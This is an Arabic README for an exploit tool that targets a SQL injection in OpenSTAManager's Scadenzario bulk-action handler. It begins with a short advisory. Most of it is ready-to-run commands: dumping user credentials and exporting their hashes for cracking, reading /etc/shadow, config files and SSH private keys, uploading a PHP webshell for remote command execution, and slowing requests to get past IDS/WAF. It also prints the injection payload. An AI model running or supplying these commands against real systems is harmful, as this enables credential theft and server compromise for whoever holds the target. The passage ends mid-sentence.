
تحتوي إصدارات OpenSTAManager v2.9.8 والإصدارات الأقدم على ثغرة خطيرة من نوع حقن SQL قائم على الأخطاء في معالج العمليات الجماعية لوحدة Scadenzario (جدول الدفع).
OpenSTAManager <= 2.9.8 — حقن SQL قائم على الأخطاء في وحدة العمليات الجماعية لـ Scadenzario
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-24418 |
| الخطورة | عالية (8.8) |
| CWE | CWE-89: حقن SQL |
| الإصدارات المتأثرة | OpenSTAManager <= 2.9.8 |
| المعامل الضعيف | id_records[] (مصفوفة POST) |
| النقطة الضعيفة | /actions.php?id_module=18 |
| نوع الهجوم | حقن SQL قائم على الأخطاء (EXTRACTVALUE) |
| المصادقة | مطلوبة (أي حساب مستخدم صالح) |
يحتوي OpenSTAManager v2.9.8 والإصدارات السابقة على ثغرة حرجة من نوع حقن SQL قائم على الأخطاء في معالج العمليات الجماعية لوحدة Scadenzario (جدول المدفوعات). يفشل التطبيق في التحقق من أن عناصر مصفوفة id_records[] هي أعداد صحيحة قبل استخدامها في جملة IN() في SQL، مما يسمح للمهاجمين الموثَّقين بحقن أوامر SQL عشوائية واستخراج بيانات حساسة من خلال رسائل خطأ XPATH.
/actions.php يستقبل id_records[] عبر POSTarray_clean() يزيل القيم الفارغة فقط، ولا يتحقق من أنواع البيانات/modules/scadenzario/bulk.php يمرر القيم غير المعقَّمة مباشرة إلى جملة IN() في SQL| الميزة | الوصف |
|---|---|
--info | بصمة خادم قاعدة البيانات (الإصدار، المستخدم، اسم المضيف، نظام التشغيل، المسارات) |
--privs | تعداد صلاحيات MySQL (FILE, SUPER, PROCESS) |
--users | تفريغ كامل لبيانات الاعتماد من zz_users مع تصدير تجزئات تلقائي |
--dbs | تعداد جميع قواعد البيانات القابلة للوصول |
--tables | عرض الجداول مع عدد الصفوف |
--columns | عرض الأعمدة مع الأنواع ومعلومات القابلية للصفر |
--dump | استخراج البيانات من أي جدول/عمود |
--sql | تنفيذ استعلام SQL مخصص |
--file-read | قراءة ملفات الخادم عبر LOAD_FILE() (/etc/passwd، ملفات الإعدادات، مفاتيح SSH) |
--file-read-hex | قراءة ملفات بترميز HEX لتجاوز المرشحات |
--webshell | رفع شِل ويب PHP عبر INTO DUMPFILE |
--rce | تنفيذ أوامر تفاعلي عبر شِل الويب المرفوع |
-o / --output | حفظ جميع النتائج بتنسيقات JSON وCSV وhashcat/john |
--proxy | دعم وكيل HTTP (Burp Suite) |
--delay | تقليل سرعة الطلبات لتجنب IDS/WAF |
git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests
# تسجيل الدخول ببيانات الاعتماد
python3 exploit.py -t http://target.com -u admin -p password --info
# استخدام كوكي جلسة موجودة
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info
# معلومات قاعدة البيانات + الصلاحيات + بيانات المستخدم
python3 exploit.py -t http://target.com -u admin -p secret --all
# التحقق من صلاحيات MySQL (FILE, SUPER, إلخ)
python3 exploit.py -t http://target.com -u admin -p secret --privs
# تفريغ المستخدمين وتصدير التجزئات تلقائيًا
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot
# ملفات الإخراج:
# ./loot/users.json - بيانات المستخدم كاملة
# ./loot/users.csv - تنسيق CSV
# ./loot/hashes_hashcat.txt - تنسيق Hashcat (الوضع 3200)
# ./loot/hashes_john.txt - تنسيق John (user:hash)
# عرض جميع قواعد البيانات
python3 exploit.py -t http://target.com -u admin -p secret --dbs
# عرض الجداول في قاعدة بيانات محددة
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager
# عرض أعمدة جدول
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users
# تفريغ أعمدة محددة مع حد للصفوف
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10
# قراءة /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd
# قراءة إعدادات التطبيق (بيانات اعتماد قاعدة البيانات)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php
# قراءة مفاتيح SSH
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa
# وضع HEX (لتجاوز مرشحات الأحرف)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow
# رفع شِل ويب (يكتشف جذر الويب تلقائيًا)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# رفع شِل ويب مع تحديد جذر الويب
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html
# جلسة شِل تفاعلية
python3 exploit.py -t http://target.com -u admin -p secret --rce
# RCE سيقوم برفع شِل ويب تلقائيًا إذا لم يكن موجودًا
# حفظ كل شيء في مجلد
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot
# الملفات المُنشأة:
# db_info.json, privileges.json, users.json, users.csv,
# hashes_hashcat.txt, hashes_john.txt
# عبر وكيل Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080
# مع تأخير بين الطلبات (ثانيتان بين الطلبات)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2
# تخطي التحقق من SSL
python3 exploit.py -t https://target.com -u admin -p secret --info -k
الهدف:
-t, --target رابط الهدف الأساسي
المصادقة:
-u, --user اسم المستخدم لتسجيل الدخول
-p, --password كلمة المرور لتسجيل الدخول
-c, --cookie قيمة PHPSESSID موجودة
التعداد:
-D, --database اسم قاعدة البيانات المستهدفة
-T, --table اسم الجدول المستهدف
-C, --columns-list الأعمدة المراد تفريغها (مفصولة بفواصل)
--limit حد الصفوف للتفريغ
الإجراءات:
--info معلومات خادم قاعدة البيانات
--users تفريغ بيانات اعتماد zz_users
--dbs تعداد قواعد البيانات
--tables عرض الجداول
--columns عرض الأعمدة (يتطلب -T)
--dump تفريغ البيانات (يتطلب -T و -C)
--sql QUERY استعلام SQL مخصص
--all تشغيل --info + --privs + --users
--privs التحقق من صلاحيات MySQL
عمليات الملفات:
--file-read PATH قراءة ملف عبر LOAD_FILE()
--file-read-hex PATH قراءة ملف عبر ترميز HEX
تنفيذ الأكواد عن بُعد:
--webshell رفع شِل ويب PHP
--webroot PATH مسار جذر الويب لرفع الشِل
--rce تنفيذ أوامر تفاعلي
الإخراج:
-o, --output DIR حفظ النتائج في مجلد
الشبكة:
-m, --module-id معرف الوحدة (الافتراضي: 18)
--proxy رابط وكيل HTTP
-k, --no-ssl-verify تعطيل التحقق من SSL
--delay تأخير الطلبات بالثواني
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#
تعيد دالة EXTRACTVALUE() في MySQL حوالي 32 حرفًا كحد أقصى عبر أخطاء XPATH. تقوم الأداة تلقائيًا بتقسيم النتائج الطويلة باستخدام SUBSTRING():
SUBSTRING((<query>), 1, 31) -- الجزء 1
SUBSTRING((<query>), 32, 31) -- الجزء 2
...
ملاحظة تقنية حول سياق الأخطاء: على الرغم من تضمين
--webshellو--rceلأقصى تغطية، إلا أن MySQL تمنع بشكل صارم استخدامINTO DUMPFILEداخل استعلام فرعي أو جملةIN()(وهي تحديدًا نقطة الحقن في هذه الثغرة).لذلك، فإن كتابة الملفات مباشرة عبر هذا النوع من الحقن القائم على الأخطاء ستفشل عادةً مع خطأ نحوي ما لم:
- تسمح البيئة المستهدفة بالاستعلامات المكدسة (نادر جدًا في إعدادات PHP/PDO الحديثة).
- تنجح في تحويل الحمولة إلى حقن قائم على UNION.
إذا تأكدت من صلاحية
FILEعبر--privs، فأفضل خيار لك هو استخدام--file-readو--file-read-hex، حيث أنLOAD_FILE()تعمل بشكل مثالي داخل الاستعلامات الفرعية القائمة على الأخطاء.
عندما تكون صلاحية FILE متاحة وتسمح القيود: